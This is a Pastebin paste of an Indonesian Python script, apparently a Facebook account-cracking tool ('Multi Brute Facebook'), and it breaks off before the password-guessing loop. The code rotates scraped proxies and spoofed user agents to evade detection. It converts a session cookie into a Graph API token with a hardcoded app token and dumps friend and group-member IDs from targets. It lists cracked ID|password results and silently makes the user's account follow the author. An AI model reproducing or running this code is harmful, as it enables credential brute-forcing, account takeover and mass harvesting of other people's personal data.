Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #------------------[ IMPORT MODULE ]-------------------#
- import requests,bs4,json,os,sys,random,datetime,time,re,urllib3,rich,base64
- from time import sleep
- from rich import pretty
- from rich.tree import Tree
- from rich.panel import Panel
- from rich import print as cetak
- from rich import print as rprint
- from rich import print as prints
- from rich.progress import track
- from rich.text import Text as tekz
- from rich.console import Console
- from rich.columns import Columns
- from rich.panel import Panel as nel
- from rich.panel import Panel as panel
- from bs4 import BeautifulSoup as sop
- from bs4 import BeautifulSoup as par
- from rich.console import Group as gp
- from bs4 import BeautifulSoup as parser
- from rich.columns import Columns as col
- from rich.console import Console as sol
- from rich.markdown import Markdown as mark
- from concurrent.futures import ThreadPoolExecutor as tred
- from concurrent.futures import ThreadPoolExecutor as XyzonXD
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
- #------------------[ MODULE ]-------------------#
- try:
- import rich
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Rich •'))
- os.system('pip install rich')
- try:
- import stdiomask
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Stdiomask •'))
- os.system('pip install stdiomask')
- try:
- import requests
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Requests •'))
- os.system('pip install requests && pip install mechanize ')
- #------------------[ GLOBAL NAME ]-------------------#
- pretty.install()
- CON=sol()
- wa = Console()
- taplikasi=[]
- kamu=[]
- console = Console()
- ses=requests.Session()
- id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni,method,pwpluss,pwnya= [],[],0,0,0,[],[],[],[],[],[],[],[],[]
- ugen2,ugen,dia,cokbrut,dump,memek,ualu,ualuh,lisensikuni,lisensiku,princp=[],[],[],[],[],[],[],[],[],[],[]
- sys.stdout.write('\x1b]2; XMBF | XyzonXD Multi Brute Facebook\x07')
- #------------------[ USER-AGENT ]-------------------#
- try:
- prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=80000&country=all&ssl=all&anonymity=all').text
- open('.prox.txt','w').write(prox)
- except Exception as e:
- print('[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mXyzonXD')
- prox=open('.prox.txt','r').read().splitlines()
- ###----------[ GENERATE USERAGENT ]---------- ###
- for xd in range(10000):
- a=random.choice(['3.0','4.4.2','4.4.4','5.0.1','8.0','7.0','6.0','5.0','4.0','4.3.4','7.0.1','8.0.1','3','4','5','6','7','8','9','10','11','12','13'])
- b=random.choice(['3.0','4.4.2','4.4.4','5.0.1','8.0','7.0','6.0','5.0','4.0','4.3.4','7.0.1','8.0.1','3','4','5','6','7','8','9','10','11','12','13'])
- c=random.randrange(73,100)
- d=random.randrange(4200,4900)
- e=random.randrange(40,150)
- uaku=f'Mozilla/5.0 (Linux; Android {a}; SAMSUNG SM-A305FN) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
- ugen2.append(uaku)
- #------------[ UBAH UA DIH SINI OM ]---------------#
- for t in range(10000):
- rr = random.randint
- rifai1=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; V2207) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai2=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; PGBM10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai3=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; V2134) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai4=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; 22041219NY) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai5=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; Infinix X6511B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai6=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SM-S916B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai7=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai8=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai9=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; Mi A3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai10=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; Mi A2 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai11=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SAMSUNG SM-F916B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- rifai12=f'Mozilla/5.0 (Linux; Android {str(rr(7,12))}; SM-F721B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36'
- uaku2 = random.choice([rifai1,rifai2,rifai3,rifai4,rifai5,rifai6,rifai7,rifai8,rifai9,rifai10,rifai11,rifai12])
- ugen.append(uaku2)
- def uaku():
- try:
- ua=open('bbnew.txt','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
- ua=open('.bbnew.txt','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.bbnew.txt','r').read().splitlines()
- ###----------[ WARNA PRINT RICH ]---------- ###
- M2 = "[#FF0000]" # MERAH
- H2 = "[#00FF00]" # HIJAU
- K2 = "[#FFFF00]" # KUNING
- B2 = "[#00C8FF]" # BIRU
- P2 = "[#FFFFFF]" # PUTIH
- ###----------[ CEK WARNA TEMA ]---------- ###
- try:
- file_color = open("data/theme_color","r").read()
- color_text = file_color.split("|")[0]
- color_panel = file_color.split("|")[1]
- except:
- color_text = "[#00C8FF]"
- color_panel = "#00C8FF"
- #------------[ INDICATION ]---------------#
- P = '\x1b[1;97m' # PUTIH
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- N = '\x1b[0m' # WARNA MATI
- #------------[ WARNA-COLOR ]--------------#
- P = '\x1b[1;97m'
- M = '\x1b[1;91m'
- H = '\x1b[1;92m'
- K = '\x1b[1;93m'
- B = '\x1b[1;94m'
- U = '\x1b[1;95m'
- O = '\x1b[1;96m'
- N = '\x1b[0m'
- Z = "\033[1;30m"
- sir = '\033[41m\x1b[1;97m'
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- asu = random.choice([m,k,h,u,b])
- #--------------------[ CONVERTER-BULAN ]--------------#
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.datetime.now().day
- bln = dic[(str(datetime.datetime.now().month))]
- thn = datetime.datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- #------------------[ MACHINE-SUPPORT ]---------------#
- def alvino_xy(u):
- for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
- def clear():
- os.system('clear')
- def back():
- login()
- def clear():
- if "linux" in sys.platform.lower():os.system("clear")
- elif "win" in sys.platform.lower():os.system("cls")
- #------------------[ LOGO-LAKNAT ]-----------------#
- def banner():
- cetak(panel(f"""[bold green] ______ __ _______
- | __ \.----..--.--.| |_ .-----.| ___|.-----..----..----..-----.
- | __ <| _|| | || _|| -__|| ___|| _ || _|| __|| -__|
- |______/|__| |_____||____||_____||___| |_____||__| |____||_____|
- """,width=90,padding=(0,4),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Banner [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- #--------------------[ BAGIAN-MASUK ]--------------#
- def login():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- sy2 = json.loads(sy.text)['name']
- sy3 = json.loads(sy.text)['id']
- menu(sy2,sy3)
- except KeyError:
- login_lagi334()
- except requests.exceptions.ConnectionError:
- li = '# Problem Internet Connection, Check And Try Again'
- lo = mark(li, style='red')
- sol().print(lo, style='red')
- exit()
- except IOError:
- login_lagi334()
- def login_lagi334():
- try:
- os.system('clear')
- banner()
- cetak(nel('[bold white]Disarankan Untuk Menggunakan Cookie Yang Masih Fresh Untuk Melakukan Crack Account',width=90,style=f"{color_panel}"))
- asu = random.choice([m,k,h,b,u])
- your_cookies=input(f' [{h}•{x}] Masukkan Cookies :{asu} ')
- with requests.Session() as r:
- try:
- r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
- data = {'access_token': '1348564698517390|007c0a9101b9e1c8ffab727666805038','scope': ''}
- response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
- code, user_code = response['code'], response['user_code']
- verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=1348564698517390%7C007c0a9101b9e1c8ffab727666805038&callback=LeetsharesCallback'.format(code))
- r.headers.pop('content-type')
- r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
- response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
- if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
- print(" [•] Cookie Invalid...", end='\r');time.sleep(3.5);print(" ", end='\r');exit()
- else:
- action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
- r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
- response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
- if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
- r.headers.pop('content-type');r.headers.pop('origin')
- response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
- action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
- fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
- jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
- scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
- display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
- user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
- logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
- auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
- encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
- return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
- r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
- response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
- windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
- r.headers.pop('content-type');r.headers.pop('origin')
- r.headers.update({'referer': 'https://m.facebook.com/',})
- response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
- if 'Sukses!' in str(response6):
- r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
- response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
- access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
- print(f"\n [•] Token : {access_token}")
- tokenew = open(".token.txt","w").write(access_token)
- cook= open(".cok.txt","w").write(your_cookies)
- print("\n [•] Login Berhasil | python run.py");followdong()
- except Exception as e:
- print(" [•] Cookies Mokad Kontol")
- os.system('rm -rf .token.txt && rm -rf .cok.txt')
- print(e)
- time.sleep(3)
- back()
- except:pass
- def followdong():
- try:
- token = open('.token.txt','r').read()
- cokies = open('.cok.txt','r').read()
- except IOError:
- print(' [+] Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- myuid = ('100092627660664')
- try:
- for foll in parser(requests.get(f'https://mbasic.facebook.com/'+myuid,cookies={'cookie':cokies}).text,'html.parser').find_all('a',href=True):
- if '/a/subscribe.php?' in foll.get('href'):
- x=requests.get('https://mbasic.facebook.com'+foll['href'],cookies = {'cookie':cokies}).text
- exit()
- except(Exception)as e:print(e)#< Response error
- #------------------[ BAGIAN-MENU ]----------------#
- def menu(my_name,my_id):
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- print(' [+] Cookies Kadaluarsa ')
- time.sleep(5)
- login()
- os.system('clear')
- banner()
- off_ = P+"("+M+" Maintenance "+P+")"
- negri = ses.get("http://ip-api.com/json/").json()["country"]
- ip = requests.get("https://api.ipify.org").text
- dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]Username : [bold green]{my_name}[/]\n[bold white][+[/][bold white]][/] [bold white]User Idz : [bold green]{my_id}[/]\n[bold white][+[/][bold white]][/] [bold white]User Ip : [bold green]{ip}[/][/] ',width=39,padding=(0,3),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Data Pengguna [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- dia.append(panel(f'[bold white][+[/][bold white]][/] [bold white]Recode : [bold green]Zack ID[/]\n[bold white][+[/][bold white]][/] [bold white]Tanggal : [bold green]{tgl}-{bln}-{thn}[/]\n[bold white][+[/][bold white]][/] [bold white]Kualitas : [bold green]Premium[/][/] ',width=40,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Data Author [bold red]•[bold yellow]•[bold green]•",padding=(0,3),style=f"{color_panel}"))
- console.print(Columns(dia))
- cetak(panel('[bold yellow]Code By Uni Soviet',width=90,padding=(0,30),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]V.2.1.⅔.½ [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- kamu.append(panel(f'[bold white][[bold green]01[bold white]]. Crack ID Secara Publick \n[bold white][[bold green]02[bold white]]. Crack ID Random Massal \n[bold white][[bold green]03[bold white]]. Crack Dari Member Group \n[bold white][[bold green]04[bold white]]. Crack Dari Daftar File ',width=39,padding=(0,3),title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Menu [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- kamu.append(panel(f'[bold white][[bold green]05[bold white]]. Dump ID Untuk Daftar File \n[bold white][[bold green]06[bold white]]. Settings Tema Tools [bold green]Zack \n[bold white][[bold green]07[bold white]]. Chekpoint Detector [bold yellow]Options\n[bold white][[bold green]08[bold white]]. Check Result Crack [bold green]OK[bold white]/[bold yellow]CP ',width=40,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Menu [bold red]•[bold yellow]•[bold green]•",padding=(0,3),style=f"{color_panel}"))
- console.print(Columns(kamu))
- cetak(panel(f'[bold white]Ketikan [bold red]rm[bold white] Untuk Ganti Cookies | Ketikan [bold green]bug[bold white] Untuk Melaporkan Bug Pada Script',width=90,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Warning [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- _____xyzon___xd____ = input(f' [?] Input : ')
- if _____xyzon___xd____ in ['1','01']:
- crack_publik()
- elif _____xyzon___xd____ in ['2','02']:
- crack_massal()
- elif _____xyzon___xd____ in ['3','03']:
- crack_group()
- elif _____xyzon___xd____ in ['4','04']:
- crack_file()
- elif _____xyzon___xd____ in ['5','05']:
- dumpid()
- elif _____xyzon___xd____ in ['6','06']:
- xyzon_ganti_tema()
- elif _____xyzon___xd____ in ['7','07']:
- file_cp()
- elif _____xyzon___xd____ in ['8','08']:
- result()
- elif _____xyzon___xd____ in ['bug','BUG']:
- cetak(panel(f"[bold white]Apapun Bug Pada Script Tolong Laporkan Kepada Saya Agar Bisa Mengembangkan Sc Ini Semakin Dikit Bugnya Semakin Baik Sc Ini , Anda Akan Di Arahkan Ke WhatsApp",width=82,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Report Bug [bold red]•[bold yellow]•[bold green]•",padding=(0,3),style=f"{color_panel}"))
- os.system("xdg-open https://wa.me/+6282176845491?text=Halo+Bang+Saya+Mau+Melaporkan+Bug+Pada+Sc+Mu+Bang")
- time.sleep(3)
- exit()
- elif _____xyzon___xd____ in ['rm','RM']:
- os.system('rm -rf .token.txt')
- os.system('rm -rf .cookie.txt')
- print(f' [+] {m}Anda Akan Di Arahkan Ke Menu Login{x}')
- time.sleep(5)
- login()
- else:
- print(' [+] Pilih Yang Bener Asu ')
- exit()
- ###----------[ GANTI WARNA TEMA ]---------- ###
- def xyzon_ganti_tema():
- cetak(panel(f"""[bold white][[bold green]01[bold white]]. ganti warna tema merah [bold white][[bold green]06[bold white]]. ganti warna tema pink
- [bold white][[bold green]02[bold white]]. ganti warna tema hijau [bold white][[bold green]07[bold white]]. ganti warna tema cyan
- [bold white][[bold green]03[bold white]]. ganti warna tema kuning [bold white][[bold green]08[bold white]]. ganti warna tema putih
- [bold white][[bold green]04[bold white]]. ganti warna tema biru [bold white][[bold green]09[bold white]]. ganti warna tema orange
- [bold white][[bold green]05[bold white]]. ganti warna tema ungu [bold white][[bold green]10[bold white]]. ganti warna tema abu2""",width=90,padding=(0,7),style=f"{color_panel}"))
- ask = console.input(f" [•] {P2}pilih tema : ")
- if ask in["01","1"]:warna = "[#FF0000]";teks="merah"
- elif ask in["02","2"]:warna = "[#00FF00]";teks="hijau"
- elif ask in["03","3"]:warna = "[#FFFF00]";teks="kuning"
- elif ask in["04","4"]:warna = "[#00C8FF]";teks="biru"
- elif ask in["05","5"]:warna = "[#AF00FF]";teks="ungu"
- elif ask in["06","6"]:warna = "[#FF00FF]";teks="pink"
- elif ask in["07","7"]:warna = "[#00FFFF]";teks="cyan"
- elif ask in["08","8"]:warna = "[#FFFFFF]";teks="putih"
- elif ask in["09","9"]:warna = "[#FF8F00]";teks="orange"
- elif ask in["10"]:warna = "[#AAAAAA]";teks="abu-abu"
- else:
- print(' [+] Pilih Yang Bener Asu ')
- exit()
- open("data/theme_color","w").write(warna+"|"+warna.replace("[","").replace("]",""))
- cetak(panel(f"""[bold white]berhasil mengganti tema ke {teks}, silahkan mulai ulang tools""",width=90,padding=(0,6),style=f"{color_panel}"))
- sys.exit()
- #-----------------[ DUMP ID ]-----------------#
- def dumpid():
- try:
- token = open('.token.txt','r').read()
- cookie = open('.cok.txt','r').read()
- os.mkdir('/sdcard/DUMP-FILE')
- except:pass
- try:
- barelang = input(f" [+] Masukan Id : ")
- batuampar = input(f" [+] Nama File Dump : ")
- gajahmada = ('/sdcard/DUMP-FILE/' + batuampar + '.txt').replace(' ', '_')
- xxx = open(gajahmada, 'w')
- coki = {"cookie":cookie}
- smpn20 = requests.get('https://graph.facebook.com/%s?fields=friends.limit(90000)&access_token=%s'%(barelang,token),cookies=coki).json()
- for sekupang in smpn20['friends']['data']:
- id.append(sekupang['id']+'|'+sekupang['name'])
- xxx.write(sekupang['id']+'|'+sekupang['name']+ '\n')
- print('\r [+] Mengumpulkan %s Id'%(len(id)),end='')
- time.sleep(0.0050)
- print(f"\n [+] Berhasil Dump Id Dari Publik")
- print(f" [+] Salin Output File + [ %s ]"%(gajahmada))
- exit()
- except (KeyError,IOError):
- os.remove(gajahmada)
- print(f" [+] Gagal Dump Id, Kemungkinan Id Tidak Ada")
- exit()
- #-----------------[ CRACK GRUP ]-----------------#
- def crack_group():
- prints(Panel(f"""[bold white] Masukan Idz Grup Pastikan Grup Bersifat Publik Bukan Private""",width=87,style=f"{color_panel}"))
- link = input(f' [+] Id Group : ')
- url = 'https://mbasic.facebook.com/'+link
- try:dump_grup(url)
- except KeyboardInterrupt:setting()
- if len(dump)==0:
- exit(f' [+] Gagal Dhump Id Grup, Kemungkinan Grup Private')
- setting()
- def dump_grup(url):
- try:
- data = parser(ses.get(url, headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1; A1601 Build LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/E7FBAF"}).text, "html.parser")
- for x in data.find_all("table"):
- par = x.text
- if ">" in par.split(" ") or "mengajukan" in par.split(" "):
- id = re.findall("content_owner_id_new.\w+",str(x))[0].replace("content_owner_id_new.","")
- if " mengajukan pertanyaan ." in par:nama = par.replace(" mengajukan pertanyaan .","")
- else:nama = par.split(" > ")[0]
- if id+"|"+nama in dump:pass
- else:dump.append(id+"|"+nama)
- print(f'\r [+] Mengumpulkan {len(id)} Idz...');sys.stdout.flush()
- for z in data.find_all("a"):
- if "Lihat Postingan Lainnya</span" in str(z).split(">"):
- href = str(z).replace('<a href="','').replace("amp;","").split(" ")[0].replace('"><span>Lihat','')
- dump_grup("https://mbasic.facebook.com"+href)
- except:dump_grup(url)
- #-----------------[ CRACK FILE ]-----------------#
- def crack_file():
- try:vin = os.listdir('/sdcard/DUMP-FILE/')
- except FileNotFoundError:
- print(' [+] File Tidak Ditemukan ')
- time.sleep(2)
- exit()
- if len(vin)==0:
- print(' [+] Kamu Tidak Memiliki File Dump ')
- time.sleep(2)
- exit()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('/sdcard/DUMP-FILE/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print(f' %s. %s [ %s Idz ]'%(nom,isi,len(hem)))
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- print(' [+] %s. %s [ %s Idz] '%(cih,isi,len(hem)))
- geeh = input(' [+] Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
- print(f' [+] Pilih Yang Bener Kontol ')
- time.sleep(3)
- exit()
- try:lin = open('/sdcard/DUMP-FILE/'+geh,'r').read().splitlines()
- except:
- print(' [+] File Tidak Ditemukan, Coba Lagi Nanti ')
- time.sleep(2)
- exit()
- for xid in lin:
- id.append(xid)
- setting()
- #-----------------[ HASIL-CRACK ]-----------------#
- def result():
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Hasil OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Hasil CP[/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold red]Kembali[/]',width=90,title=f"[bold white]• [/][bold green]List Menu Cek[/][bold white] •[/]",style=f"{color_panel}"))
- kz = input(f' [+] Pilih : ')
- if kz in ['2','02']:
- try:vin = os.listdir('CP')
- except FileNotFoundError:
- print(' [+] File Tidak Di Temukan ')
- time.sleep(3)
- back()
- if len(vin)==0:
- print(' [+] Anda Tidak Memiliki Hasil CP ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<10:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input(f'\n{P}{x}{H} [+] {x}{P}{x} {P}Select{x} : ')
- try:geh = lol[geeh]
- except KeyError:
- print(' [+] Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('CP/'+geh,'r').read().splitlines()
- except:
- print(' [+] File Tidak Di Temukan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="yellow"))
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['1','01']:
- try:vin = os.listdir('OK')
- except FileNotFoundError:
- print(' [+] File Tidak Di Temukan ')
- time.sleep(4)
- back()
- if len(vin)==0:
- print(' [+] Anda Tidak Mempunyai File OK ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<80:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input('\n [+] Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
- print(' [+] Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('OK/'+geh,'r').read().splitlines()
- except:
- print(' [+] File Tidak Di Temukan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="green"))
- print(f'{hh}USER-AGENT : {x}{cpkuni[2]}')
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['3','03']:
- back()
- else:
- print(' [+] Pilih Yang Bener Kontol ')
- exit()
- #-------------------[ CRACK-PUBLIK-MASSAL]----------------#
- def crack_publik():
- try:
- token = open('.token.txt','r').read()
- kukis = open('.cok.txt','r').read()
- except IOError:
- exit()
- cetak(panel(f"""[bold white] masukan id target, pastikan id target bersifat publik dan tidak private""",subtitle=f"[bold white]ketik [bold green]me[bold white] untuk dump dari teman sendiri",width=90,style=f"{color_panel}"))
- pil = input(f' [+] Masukan ID Target : ')
- try:
- koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
- for pi in koH['friends']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- print(f' [+] Total ID Terkumpul : {m}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print(' [+] Internet Lu Gak Ada Anjing')
- exit()
- except (KeyError,IOError):
- print(' [+] Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
- exit()
- #-------------------[ CRACK-PUBLIK ]----------------#
- def crack_massal():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- try:
- cetak(panel(f"""[bold white] masukan id target, pastikan id target bersifat publik dan tidak private""",subtitle=f"[bold white]ketik [bold green]me[bold white] untuk dump dari teman sendiri",width=90,style=f"{color_panel}"))
- jum = int(input(f' [+] Mau Berapa Idz Target {x} : '))
- except ValueError:
- print(' [+] Wrong input ')
- exit()
- if jum<1 or jum>80:
- print(f'{h} [+] {x}Pertemanan Tidak Publik ')
- exit()
- ses=requests.Session()
- yz = 0
- for met in range(jum):
- yz+=1
